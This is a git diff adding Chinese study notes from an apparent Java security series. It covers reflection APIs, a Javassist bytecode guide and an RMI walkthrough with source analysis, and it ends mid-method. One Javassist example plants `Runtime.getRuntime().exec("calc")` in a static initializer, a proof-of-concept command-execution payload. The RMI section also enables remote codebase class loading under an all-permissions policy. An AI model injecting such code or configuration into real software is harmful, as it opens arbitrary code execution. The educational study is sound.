+ +- `Field getField(String name)`:返回此 Class 对象对应类的指定名称的 public 成员变量 +- `Field[] getFields()`:返回此 Class 对象对应类的所有 public 成员变量 +- `Field getDeclaredField(String name)`:返回此 Class 对象对应类的指定名称的成员变量,与成员变量访问权限无关 +- `Field[] getDeclaredFields()`:返回此 Class 对象对应类的全部成员变量,与成员变量的访问权限无关 + +###### 获取类注解 + +- `A getAnnotation(ClassannotationClass)`:尝试获取该 Class 对象对应类上的指定类型的 Annotation ,如果该类型注解不存在,则返回 null +- `A getDeclaredAnnotation(ClassannotationClass)`:这是 Java 8 中新增的,该方法获取直接修饰该 Class 对象对应类的指定类型的 Annotation ,如果不存在,则返回 null +- `Annotation[] getAnnotations()`:返回修饰该 Class 对象对应类上存在的所有 Annotation ,包括从父类继承而来的注解,但是不能获取到私有方法或字段上的注解 +- `Annotation[] getDeclaredAnnotations()`:返回修饰该 Class 对象对应类上存在的所有 Annotation ,不包括从父类继承的注解,可以获取到私有方法或字段上的注解 +- `A[] getAnnotationByType(ClassannotationClass)`:该方法的功能与前面介绍的 getAnnotation() 方法基本相似,但由于 Java8 增加了重复注解功能,因此需要使用该方法获取修饰该类的指定类型的多个 Annotation +- `A[] getDeclaredAnnotationByType(ClassannotationClass)`:该方法的功能与前面介绍的 getDeclaredAnnotations() 方法相似,也是因为 Java8 的重复注解的功能,需要使用该方法获取直接修饰该类的指定类型的多个 Annotation + +###### 获取该类内部类 + +- `Class[] getDeclaredClasses()`:返回该 Class 队形对应类里包含的全部内部类 + +###### 获取该类对象所在的外部类 + +- `Class getDeclaringClass()`:返回该 Class 对象对应类所在的外部类 + +###### 获取该类对象对应类所实现的接口 + +- `Class[] getInterfaces()`:返回该 Class 对象对应类所实现的全部接口 + +###### 获取该类对象对应类所继承的父类 + +- `Class getSuperclass()`:返回该 Class 对象对应类的超类的 Class 对象 + +###### 获取该类对象对应类的修饰符、所在包、类名等基本信息 + +- `int getModifiers()`:返回此类或接口的所有修饰符,修饰符由 public 、protected 、private 、final 、static 、abstract 等对应的常量组成,返回的整数应使用 Modifier 工具类的方法来解码,才可以获取真的修饰符 +- `Package getPackage()`:获取该类的包 +- `String getName()`:以字符串形式返回此 Class 对象所表示的类的简称 diff --git a/books/基础篇 - Javassist 使用指南.md b/books/基础篇 - Javassist 使用指南.md new file mode 100644 index 0000000..d05836e --- /dev/null +++ b/books/基础篇 - Javassist 使用指南.md @@ -0,0 +1,342 @@ +# 基础篇 - Javassist 使用指南 +> 2024-06-07 +> 来源:https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-javassist%E7%94%A8%E6%B3%95%E6%8C%87%E5%8D%97/ + +Javassist 是一个用于操作 Java 字节码的类库。Java 字节码存储在类文件的二进制文件中。每个类文件都包含一个 Java 类或接口。 +类 Javassist.CtClass 是对类文件的抽象表示。(编译时类 CtClass )对象是处理类文件的句柄(句柄 Handle 是一个用来标识对象或者项目的标识符)。 + +## Javassist 介绍 + +Javassist 是一个用于操作 Java 字节码的类库。Java 字节码存储在类文件的二进制文件中。每个类文件都包含一个 Java 类或接口。 +类 Javassist.CtClass 是对类文件的抽象表示。(编译时类 CtClass )对象是处理类文件的句柄(句柄 Handle 是一个是用来标识对象或者项目的标识符)。 + +## 用法详解 + +### 依赖导入 + +首先需要导入 Javassist 依赖: + +``` + + org.javassist + javassist + 3.28.0-GA + +``` + +### 入门案例 + +以下是一个简单的入门案例,演示如何使用 Javassist 动态创建一个类并添加方法: + +``` +import javassist.*; + +public class javassistTest { + public static void createPseson() throws Exception { + // 1. 获取类池 + ClassPool pool = ClassPool.getDefault(); + + // 2. 创建一个 Person 类 + CtClass cc = pool.makeClass("Person"); + + // 3. 添加一个 name 属性 + CtField param = new CtField(pool.get("java.lang.String"), "name", cc); + // 访问级别是 private + param.setModifiers(Modifier.PRIVATE); + // 初始值是 "zhangsan" + cc.addField(param, CtField.Initializer.constant("zhangsan")); + + // 4. 生成 getter、setter 方法 + cc.addMethod(CtNewMethod.setter("setName", param)); + cc.addMethod(CtNewMethod.getter("getName", param)); + + // 5. 添加无参的构造函数 + CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); + cons.setBody("{name = \"lisi\";}"); + cc.addConstructor(cons); + + // 6. 添加有参的构造函数 + cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc); + // $0=this / $1,$2,$3... 代表方法参数 + cons.setBody("{$0.name = $1;}"); + cc.addConstructor(cons); + + // 7. 创建一个名为 printName 的方法,无参数,无返回值,输出 name 值 + CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc); + ctMethod.setModifiers(Modifier.PUBLIC); + ctMethod.setBody("{System.out.println(name);}"); + cc.addMethod(ctMethod); + + // 指定输出 .class 文件的路径 + cc.writeFile("./src/main/java/"); + } + + public static void main(String[] args) { + try { + createPseson(); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +上面代码运行后会在 ./src/main/java/ 路径下生成一个 Person.class 文件,内容如下: + +``` +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +public class Person { + private String name = "zhangsan"; + + public void setName(String var1) { + this.name = var1; + } + + public String getName() { + return this.name; + } + + public Person() { + this.name = "lisi"; + } + + public Person(String var1) { + this.name = var1; + } + + public void printName() { + System.out.println(this.name); + } +} +``` + +### 类池 ClassPool + +ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API 中给出的解决方案是有意识的调用 CtClass 的 detach() 方法以释放内存。 + +主要方法有以下几个: + +- getDefault:获取默认的 ClassPool 对象。 +- get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。 +- makeClass:创建一个新的 CtClass 对象,用于新增类。 +- insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。 +- toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。 + +### CtClass 类 + +CtClass 是 Javassist 中的一个抽象类,用于表示一个类文件。 + +CtClass 需要关注的方法: + +- freeze:冻结一个类,使其不可修改。 +- isFrozen:判断一个类是否已被冻结。 +- prune:删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用。 +- defrost:解冻一个类,使其可以被修改。如果事先知道一个类会被 defrost , 则禁止调用 prune 方法。 +- detach:将该 class 从 ClassPool 中删除。 +- setSuperclass:设置当前类的父类。 +- writeFile:将 CtClass 对象转换为类文件并将其写入本地磁盘。 +- toClass:通过类加载器加载该 CtClass ,示例:`Class clazz = cc.toClass();` 。 +- toBytecode:获取 CtClass 的字节码,示例:`byte[] b = cc.toBytecode();` 。 + +### CtMethod 和 CtField + +CtMethod 和 CtField 分别代表 Java 类中的方法和字段。通过 CtClass 对象,可以获取、添加、删除或修改类中的方法和字段。这些对象提供了丰富的 API ,用于操作方法和字段的各种属性,如访问修饰符、名称、返回类型等。 + +CtMethod 中的一些重要方法: + +1. insertBefore:在方法的起始位置插入代码。 +2. insterAfter:在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到 exception 。 +3. insertAt:在指定的位置插入代码。 +4. setBody:将方法的内容设置为要写入的代码,当方法被 abstract 修饰时,该修饰符被移除。 +5. make:创建一个新的方法。 + +利用 CtMethod 中的 insertBefore,insterAfter,insertAt 等方法可以实现 AOP 增强功能。 + +### Javassist 基本操作 + +#### 定义一个新类 + +要从头开始定义新类,ClassPool 中的 makeClass 必须被调用。. + +```java +ClassPool pool = ClassPool.getDefault(); +CtClass cc = pool.makeClass("Point"); +``` + +该程序定义了一个不包含任何成员的 Point 类。Point 类的成员方法可以被 CtNewMethod中 的工厂方法声明,然后用 CtClass 中的 addMethod 方法追加到 Point 类中。 + +makeClass 方法无法创建一个新的接口,但是 ClassPool 中的 makeInterface 方法可以创建。接口中的成员方法可以被 CtNewMethod 中的 abstractMethod 方法创建。这样去标记一个接口的方法为抽象方法。 + +#### 冻结类 + +如果一个 CtClass 对象由 writeFile 方法、toClass 方法或 toBytecode 方法转换成一个类文件,Javassist 将会冻结那个 CtClass 对象。从而不允许对那个 CtClass 对象进行进一步的修改。这是为了在开发人员尝试修改已加载的类文件时警告开发人员,因为 JVM 不允许重新加载类。译者注:Java 规范中规定,同一个 ClassLoader 对象中只能加载一次相同的 class 。 + +冻结的 CtClass 可以解冻,以便允许修改类定义。例如: + +``` +CtClasss cc = ...; // 获取到 CtClass 对象 + : // 一系列操作 +cc.writeFile(); // 将 CtClass 对象转换成类文件,这步完成后 CtClass 对象将被冻结 +cc.defrost(); // 解冻 +cc.setSuperclass(...); // 解冻后又可以对 CtClass 对象进行操作 +``` + +#### 指定类的加载路径 + +默认的 ClassPool 对象由静态方法 ClassPool.getDefault() 返回,这个方法的搜索路径与底层 JVM ( Java virtual machine ) 的搜索路径相同。 如果程序在 JBoss 和 Tomcat 等 Web 应用程序服务器上运行,ClassPool 对象可能无法找到用户的类 ,因为对于这样的 Web 应用程序,服务器会使用多个类加载器以及系统类加载器加载。这种情况下,必须在 ClassPool 中注册一个额外的类路径,用于获取 CtClass 对象。 + +**本地路径** + +假设 pool 是一个 ClassPool 对象,可以指定一个类的搜索路径: + +``` +ClassPool pool = ClassPool.getDefault(); +pool.insertClassPath("/usr/local/javalib"); +``` + +**URL 路径** + +搜索路径不仅可以是一个目录,还可以是 URL: + +``` +ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist."); +pool.insertClassPath(cp); +``` + +该程序将 [http://www.javassist.org:80/java/](http://www.javassist.org/java/) 添加到类的搜索路径中。此 URL 仅用于搜索属于 org.javassist 包的类。例如,要加载一个类 org.javassist.test.Main ,它的类文件将从 [http://www.javassist.org:80/java/org/javassist/test/Main.class](http://www.javassist.org/java/org/javassist/test/Main.class) 获取。 + +**从字节数组中获取 CtClass 对象** + +此外还可以直接将字节数组赋予 ClassPool 对象,然后根据那个数组构造一个 CtClass 对象: + +``` +// 假设这是我们要从中读取的类的字节数组 +byte[] classBytes = getClassBytes(); // 这个方法应该返回实际的字节数组 +String className = "com.example.MyClass"; // 类的完全限定名 + +// 获取默认的类池 +ClassPool pool = ClassPool.getDefault(); +// 将字节数组插入到类路径中 +pool.insertClassPath(new ByteArrayClassPath(className, classBytes)); +// 从类池中获取 CtClass 对象 +CtClass ctClass = pool.get(className); +``` + +获得的 CtClass 对象就是 className 的字节码文件表示的类。如果 CtClass 的 get 方法被调用,并且参数 className 与 ByteArrayClassPath 中的 className 相同,那么 ClassPool 将会从 ByteArrayClassPath 给的路径中去读取类文件。 + +**从指定输入流中获取 CtClass 对象** + +``` +// 获取默认的类池 +ClassPool pool = ClassPool.getDefault(); +// 指定的输入流,例如从一个文件中读取字节码 +InputStream inputStream = new FileInputStream("path/to/YourClass.class"); +// 从输入流中获取 CtClass 对象 +CtClass ctClass = pool.makeClass(inputStream); +// 关闭输入流 +inputStream.close(); +``` + +#### 添加、删除、修改字段 + +要在类中添加、删除或修改属性,需要使用 CtField 对象。假设已经获取到了一个名为 existingClass 的 CtClass 对象,以下示例展示了如何实现这些操作。 + +**添加字段** + +``` +// 创建一个新的 CtField 对象,表示一个类型为 int,名称为 count,所属类为 existingClass 的字段 +CtField newField = new CtField(CtClass.intType, "count", existingClass); +// 将这个字段的修饰符设置为 private +newField.setModifiers(Modifier.PRIVATE); +// 将新创建的字段添加到 existingClass 类中 +existingClass.addField(newField); +``` + +**删除字段** + +``` +// 从 existingClass 对象中获取名为 fieldName 的字段 +CtField fieldToRemove = existingClass.getField("fieldName"); +// 移除该字段 +existingClass.removeField(fieldToRemove); +``` + +**修改字段** + +``` +// 从 existingClass 对象中获取名为 fieldName 的字段 +CtField fieldToModify = existingClass.getField("fieldName"); +// 修改该字段的修饰符为 public +fieldToModify.setModifiers(Modifier.PUBLIC); +``` + +#### 添加、删除、修改方法 + +要在类中添加、删除或修改方法,需要使用 CtMethod 对象。同样假设已经获取到了一个名为 existingClass 的 CtClass 对象,以下示例展示了如何实现这些操作。 + +**添加方法** + +``` +CtMethod newMethod = CtNewMethod.make("public int add(int a, int b) { return a + b; }", existingClass); +existingClass.addMethod(newMethod); +``` + +**删除方法** + +``` +CtMethod methodToRemove = existingClass.getDeclaredMethod("methodName"); +existingClass.removeMethod(methodToRemove); +``` + +**修改方法** + +``` +CtMethod methodToModify = existingClass.getDeclaredMethod("methodName"); +methodToModify.setBody("{ return $1 * $1; }"); +``` + +#### 添加构造方法 + +假设已经获取到了一个名为 existingClass 的 CtClass 对象,为它创建一个具有两个参数(int 和 double)的构造方法,返回一个 CtConstructor 构造方法对象: + +``` +CtConstructor constructor = new CtConstructor(new CtClass[]{CtClass.intType, CtClass.doubleType}, ctClass); +``` + +使用 setBody 方法设置构造方法的内容,$1 和 $2 分别代表构造方法的第一个和第二个参数: + +``` +constructor.setBody("{ this.myInt = $1; this.myDouble = $2; }"); +``` + +使用 addConstructor 方法将创建的构造方法添加到 existingClass 对象中: + +``` +existingClass.addConstructor(constructor); +``` + +#### 创建静态代码块并添加内容 + +假设已经获取到了一个名为 existingClass 的 CtClass 对象,在其中创建一个静态初始化块需要用到 CtClass 的 makeClassInitializer 方法,方法的返回结果用 CtConstructor 对象接收: + +``` +CtConstructor constructor = existingClass.makeClassInitializer(); +``` + +CtConstructor 对象的 setBody 方法用于设置静态代码块中的内容: + +``` +constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); +``` + +## 参考文章 + +[【 Javassist 官方文档翻译】第一章 读写字节码](https://blog.csdn.net/qq_39072607/article/details/123900632) + +[一文掌握 Javassist :Java 字节码操作神器详解](http://www.51testing.com/html/80/15326880-7795600.html) + +[javassist 使用全解析](https://www.cnblogs.com/rickiyang/p/11336268.html) diff --git a/books/基础篇 - RMI 协议详解.md b/books/基础篇 - RMI 协议详解.md new file mode 100644 index 0000000..9b4d66e --- /dev/null +++ b/books/基础篇 - RMI 协议详解.md @@ -0,0 +1,794 @@ +# 基础篇 - RMI 协议详解 +> 2024-07-08 +> 来源:https://changeyourway.github.io/2024/07/08/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-RMI%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8%E5%8D%8F%E8%AE%AE/ + +RMI 入门案例及源码分析 + +## RMI 协议介绍 + +RMI(Remote Method Invocation,远程方法调用)是 Java 编程语言中用于实现分布式计算的一种技术。RMI 允许一个 JVM上的对象调用另一台 JVM 上的对象的方法,就像调用本地对象的方法一样,从而实现跨网络的远程调用。 + +## RMI 入门案例 + +先来实现一个最简单的 RMI :服务器会提供一个 sayHello 服务,这个服务有一个方法名为 function ,它的功能是将输入的字符串返回。 + +首先我们需要一个接口 SayHelloInterface ,这个接口将会被服务器和客户端共享,Java 的 RMI 规定此接口必须派生自 java.rmi.Remote ,并在每个方法声明抛出 RemoteException : + +``` +import java.rmi.Remote; +import java.rmi.RemoteException; + +public interface SayHelloInterface extends Remote { + String function(String input) throws RemoteException; +} +``` + +服务器需要编写一个接口的实现类 SayHelloImpl ,这个实现类需要实现方法功能: + +``` +import java.rmi.RemoteException; + +public class SayHelloImpl implements SayHelloInterface{ + @Override + public String function(String input) throws RemoteException { + return input; + } +} +``` + +最后,服务端注册这个 RMI 服务,使其开放在公网上: + +``` +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; + +public class Server { + public static void main(String[] args) throws RemoteException { + // 获取服务端代理对象 + SayHelloInterface skeleton = (SayHelloInterface) UnicastRemoteObject.exportObject(new SayHelloImpl(), 0); + // 创建注册中心,端口为 1099 + Registry registry = LocateRegistry.createRegistry(1099); + // 将服务端代理对象注册到注册表,服务名为 "SayHello" + registry.rebind("SayHello", skeleton); + } +} +``` + +服务端代码至此就完成了。 + +接下来是客户端,要想实现远程调用,服务端和客户端需要共享一个接口,所以客户端要将服务端的 SayHelloInterface.java 从服务端复制过来: + +``` +import java.rmi.Remote; +import java.rmi.RemoteException; + +public interface SayHelloInterface extends Remote { + String function(String input) throws RemoteException; +} +``` + +最后在客户端实现 RMI 调用: + +``` +import java.rmi.NotBoundException; +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class RMIClientTest { + public static void main(String[] args) throws RemoteException, NotBoundException { + // 连接到服务器 localhost ,端口 1099 : + Registry registry = LocateRegistry.getRegistry("localhost", 1099); + // 查找名称为 "SayHello" 的服务并强制转型为 SayHelloInterface 类型: + SayHelloInterface sayHello = (SayHelloInterface) registry.lookup("SayHello"); + // 正常调用接口方法: + String output = sayHello.function("Hello, RMI"); + // 打印输出结果 + System.out.println(output); + } +} +``` + +先运行服务器,再运行客户端。运行结果是在客户端控制台上输出:” Hello, RMI “ 。 + +除了上面的这种方式以外,RMI 还有另一种实现方式,即服务器在编写接口的实现类时,让这个实现类继承 java.rmi.server.UnicastRemoteObject 类,同时必须为这个实现类提供一个构造函数并且抛出 RemoteException 。那么 SayHelloImpl 实现类可以这样改: + +``` +import java.rmi.RemoteException; +import java.rmi.server.UnicastRemoteObject; + +public class SayHelloImpl extends UnicastRemoteObject implements SayHelloInterface { + protected SayHelloImpl() throws RemoteException { + } + + @Override + public String function(String input) throws RemoteException { + return input; + } +} +``` + +此时在服务端只需要新建 SayHelloImpl 对象就会自动调用 UnicastRemoteObject 的 exportObject 方法,而不需要再手动调用,服务端 Server 类改成这样: + +``` +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class Server { + public static void main(String[] args) throws RemoteException { + // 获取服务端代理对象 + SayHelloInterface skeleton = new SayHelloImpl(); + // 将 RMI 服务注册到 1099 端口 + Registry registry = LocateRegistry.createRegistry(1099); + // 将服务端代理对象注册到注册表,服务名为 "SayHello" + registry.rebind("SayHello", skeleton); + } +} +``` + +同样是可以正常运行的。 + +客户端只有接口,并没有实现类,客户端获得的接口方法返回值实际上是通过网络从服务器端获取的。因为 RMI 服务的默认端口是 1099 ,所以上面的实验也使用 1099 端口。 + +Java 的 RMI 严重依赖序列化和反序列化,而这种情况下可能会造成严重的安全漏洞,因为 Java 的序列化和反序列化不但涉及到数据,还涉及到二进制的字节码,即使使用白名单机制也很难保证 100% 排除恶意构造的字节码。因此,使用 RMI 时,双方必须是内网互相信任的机器,不要把 1099 端口暴露在公网上作为对外服务。 + +此外,Java 的 RMI 调用机制决定了双方必须是 Java 程序,其他语言很难调用 Java 的 RMI 。如果要使用不同语言进行 RPC 调用,可以选择更通用的协议,例如 [gRPC](https://grpc.io/) 。 + +## RMI 原理解析 + +RMI 交互图(来自网图): + +![](https://changeyourway.github.io/images/image-20240611090617906.png) + +为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信是通过 Stub 和 Skeleton 来实现的。 + +## RMI 动态类加载 + +如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,如果设置了 `java.rmi.server.codebase`,则会尝试从其中的地址获取 `.class` 并加载及反序列化。 + +### 什么是 codebase + +codebase 是用于指定 Java RMI(远程方法调用)应用程序中类的字节码位置的属性。这个属性告诉 RMI 服务器和客户端在哪里可以找到所需的类文件。设置 codebase 有助于确保客户端能够动态加载服务器上不存在的类。 + +### 如何开启 RMI 动态类加载 + +###### 一、设置 codebase + +有两种办法: + +1. 在代码中使用 System.setProperty 方法可以动态设置 codebase : + +``` +System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/"); +``` + +2. 用命令行启动 Java 程序,设置 -Djava.rmi.server.codebase 参数: + +``` +java -Djava.rmi.server.codebase="http://127.0.0.1:9999/" RMIServer +``` + +###### 二、配置安全策略文件 + +例如,policyfile.txt : + +``` +grant { + permission java.security.AllPermission; +}; +``` + +这个策略文件授予了所有权限,这是最宽松的配置。 + +###### 三、启动时指定安全策略文件 + +需要设置 java.security.policy ,同样可以用代码和命令行两种方式。 + +1. 在代码中使用 System.setProperty 方法可以动态设置 policy: + +``` +System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("policyfile.txt").toString()); +``` + +2. 用命令行启动 Java 程序,设置 -Djava.security.policy 参数: + +``` +java -Djava.security.policy=policyfile.txt -Djava.rmi.server.codebase="http://127.0.0.1:9999/" RemoteServer +``` + +## RMI 源码分析 + +本次实验 JDK 版本为 8u71 。 + +### 远程对象导出 - UnicastRemoteObject#exportObject + +如果服务端的实现类继承了 UnicastRemoteObject ,那么在实例化获取服务端代理对象的时候,会调用 UnicastRemoteObject 的构造方法,无参构造调用有参构造,最终会调用 UnicastRemoteObject 的 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612110437282.png) + +如果服务端的实现类没有继承 UnicastRemoteObject ,则需要手动调用 UnicastRemoteObject 的 exportObject 方法。那么这个 exportObject 方法到底实现了什么功能呢? + +跟进 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612111357495.png) + +跟进后发现它又调用了另一个 exportObject 方法,继续跟进: + +![](https://changeyourway.github.io/images/image-20240612111453130.png) + +这里调用了 sref 的 exportObject 方法,sref 是一个 UnicastServerRef 对象。 + +继续跟进 UnicastServerRef 的 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612111906524.png) + +这其中使用 sun.rmi.server.Util#createProxy() 方法创建了一个代理对象,且最终返回的就是这个代理对象。 + +继续跟进 Util 的 createProxy() 方法: + +![](https://changeyourway.github.io/images/image-20240612112048849.png) + +可以看到,这里用 RemoteObjectInvocationHandler 创建了一个代理对象。 + +接下来回到 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612160346393.png) + +然后会新建一个 Target 对象,这个 Target 对象中封装了返回的代理对象 var5 。之后调用 this.ref 的 exportObject 方法,并将这个 Target 对象传入。 + +this.ref 是一个 LiveRef 对象,我们跟进它的 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612161232621.png) + +这里又调用 this.ep 的 exportObject 方法,当程序运行起来时,会发现 this.ep 实际上是一个 TCPEndpoint 对象: + +![](https://changeyourway.github.io/images/image-20240612161839874.png) + +于是跟进 TCPEndpoint 的 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612161958983.png) + +发现它又调用 TCPTransport 的 exportObject 方法。 + +继续跟进 TCPTransport 的 exportObject 方法: + +![](https://changeyourway.github.io/images/image-20240612162513179.png) + +TCPTransport 的 exportObject 方法其实干了两件事,一是调用它自己的 listen() 方法开启监听,二是调用它父类 Transport 的 exportObject 方法。 + +TCPTransport 的 listen() 方法: + +``` +private void listen() throws RemoteException { + assert Thread.holdsLock(this); + + TCPEndpoint var1 = this.getEndpoint(); + int var2 = var1.getPort(); + if (this.server == null) { + if (tcpLog.isLoggable(Log.BRIEF)) { + tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket"); + } + + try { + this.server = var1.newServerSocket(); + Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new AcceptLoop(this.server), "TCP Accept-" + var2, true)); + var3.start(); + } catch (BindException var4) { + throw new ExportException("Port already in use: " + var2, var4); + } catch (IOException var5) { + throw new ExportException("Listen failed on port: " + var2, var5); + } + } else { + SecurityManager var6 = System.getSecurityManager(); + if (var6 != null) { + var6.checkListen(var2); + } + } + +} +``` + +这个方法实现了一个用于监听 TCP 连接的功能。它首先检查当前线程是否持有对象锁,并获取端点的端口号。如果服务器套接字尚未创建,它会创建一个新的服务器套接字并启动一个新的线程进行接受循环(AcceptLoop),以处理传入连接;如果端口已被占用,则抛出 BindException ,否则抛出 IOException 。如果服务器套接字已经存在,则检查当前安全管理器并验证监听权限。 + +Transport 的 exportObject 方法: + +``` +public void exportObject(Target var1) throws RemoteException { + var1.setExportedTransport(this); + ObjectTable.putTarget(var1); +} +``` + +这里调用了两个方法,其中 var1.setExportedTransport 只是做了一个简单的赋值: + +``` +void setExportedTransport(Transport var1) { + if (this.exportedTransport == null) { + this.exportedTransport = var1; + } + +} +``` + +ObjectTable 的 putTarget 方法则是将一个远程对象(目标对象 Target )添加到对象表和实现表中,以便进行远程方法调用和垃圾回收管理: + +``` +static void putTarget(Target var0) throws ExportException { + ObjectEndpoint var1 = var0.getObjectEndpoint(); + WeakRef var2 = var0.getWeakImpl(); + if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) { + DGCImpl.dgcLog.log(Log.VERBOSE, "add object " + var1); + } + + synchronized(tableLock) { + if (var0.getImpl() != null) { + if (objTable.containsKey(var1)) { + throw new ExportException("internal error: ObjID already in use"); + } + + if (implTable.containsKey(var2)) { + throw new ExportException("object already exported"); + } + + objTable.put(var1, var0); + implTable.put(var2, var0); + if (!var0.isPermanent()) { + incrementKeepAliveCount(); + } + } + + } +} +``` + +总之,ObjectTable 的 putTarget 方法负责管理远程对象的导出和注册,以支持远程调用,并确保对象不被重复导出或使用相同的对象标识符。 + +那么总结一下:UnicastRemoteObject 的 exportObject 方法经过一系列调用后最终开启了监听(默认参数是 0 ,表示系统将选择一个空闲的端口来进行监听,而不是指定一个固定的端口),以及将传入的目标对象导出到对象表和实现表,并返回一个代理对象。 + +#### 调用栈总结 + +``` +UnicastRemoteObject#exportObject(Remote, UnicastServerRef) +UnicastServerRef#exportObject(Remote, Object, boolean) + -> Util#createProxy(Class, RemoteRef, boolean) // 创建代理对象 + -> LiveRef#exportObject(Target) + TCPEndpoint#exportObject(Target) + TCPTransport#exportObject(Target) + -> TCPTransport#listen() // 开启监听 + -> Transport#exportObject(Target) + ObjectTable#putTarget(Target) // 远程对象导出 +``` + +### 动态代理创建 - RemoteObjectInvocationHandler#invoke + +前面 Util.createProxy() 方法在创建代理对象的时候就用到了 RemoteObjectInvocationHandler 这个类,那么当代理对象的任意方法被调用,RemoteObjectInvocationHandler 的 invoke 方法就会被调用。 + +RemoteObjectInvocationHandler 的 invoke 方法: + +![](https://changeyourway.github.io/images/image-20240612172302872.png) + +如果代理对象调用的方法是从 Object 类继承的方法,那么将会调用 invokeObjectMethod 方法;如果方法名是 finalize 且参数数量为 0,并且 allowFinalizeInvocation 标志为 false ,那么返回 null,表示忽略 finalize 方法的调用;对于其他方法,则调用 invokeRemoteMethod 方法来处理。 + +接着来看 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法: + +``` +private Object invokeRemoteMethod(Object proxy, + Method method, + Object[] args) + throws Exception +{ + try { + if (!(proxy instanceof Remote)) { + throw new IllegalArgumentException( + "proxy not Remote instance"); + } + // 实际处理逻辑 + return ref.invoke((Remote) proxy, method, args, + getMethodHash(method)); + } catch (Exception e) { + if (!(e instanceof RuntimeException)) { + Class cl = proxy.getClass(); + try { + method = cl.getMethod(method.getName(), + method.getParameterTypes()); + } catch (NoSuchMethodException nsme) { + throw (IllegalArgumentException) + new IllegalArgumentException().initCause(nsme); + } + Class thrownType = e.getClass(); + for (Class declaredType : method.getExceptionTypes()) { + if (declaredType.isAssignableFrom(thrownType)) { + throw e; + } + } + e = new UnexpectedException("unexpected exception", e); + } + throw e; + } +} +``` + +实际上就是调用了 ref 的 invoke 方法来处理。ref 在定义中是 RemoteRef 类型,实际调用时调用的是 RemoteRef 的子类 UnicastRef 的 invoke 方法。 + +UnicastRef 的 invoke 方法: + +``` +public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception { + if (clientRefLog.isLoggable(Log.VERBOSE)) { + clientRefLog.log(Log.VERBOSE, "method: " + var2); + } + + if (clientCallLog.isLoggable(Log.VERBOSE)) { + this.logClientCall(var1, var2); + } + + Connection var6 = this.ref.getChannel().newConnection(); + StreamRemoteCall var7 = null; + boolean var8 = true; + boolean var9 = false; + + Object var13; + try { + if (clientRefLog.isLoggable(Log.VERBOSE)) { + clientRefLog.log(Log.VERBOSE, "opnum = " + var4); + } + + var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4); + + Object var11; + try { + ObjectOutput var10 = var7.getOutputStream(); + this.marshalCustomCallData(var10); + var11 = var2.getParameterTypes(); + + for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) { + marshalValue((Class)((Object[])var11)[var12], var3[var12], var10); + } + } catch (IOException var41) { + clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", var41); + throw new MarshalException("error marshalling arguments", var41); + } + + var7.executeCall(); + + try { + Class var49 = var2.getReturnType(); + if (var49 == Void.TYPE) { + var11 = null; + return var11; + } + + var11 = var7.getInputStream(); + Object var50 = unmarshalValue(var49, (ObjectInput)var11); + var9 = true; + clientRefLog.log(Log.BRIEF, "free connection (reuse = true)"); + this.ref.getChannel().free(var6, true); + var13 = var50; + } catch (IOException var42) { + clientRefLog.log(Log.BRIEF, "IOException unmarshalling return: ", var42); + throw new UnmarshalException("error unmarshalling return", var42); + } catch (ClassNotFoundException var43) { + clientRefLog.log(Log.BRIEF, "ClassNotFoundException unmarshalling return: ", var43); + throw new UnmarshalException("error unmarshalling return", var43); + } finally { + try { + var7.done(); + } catch (IOException var40) { + var8 = false; + 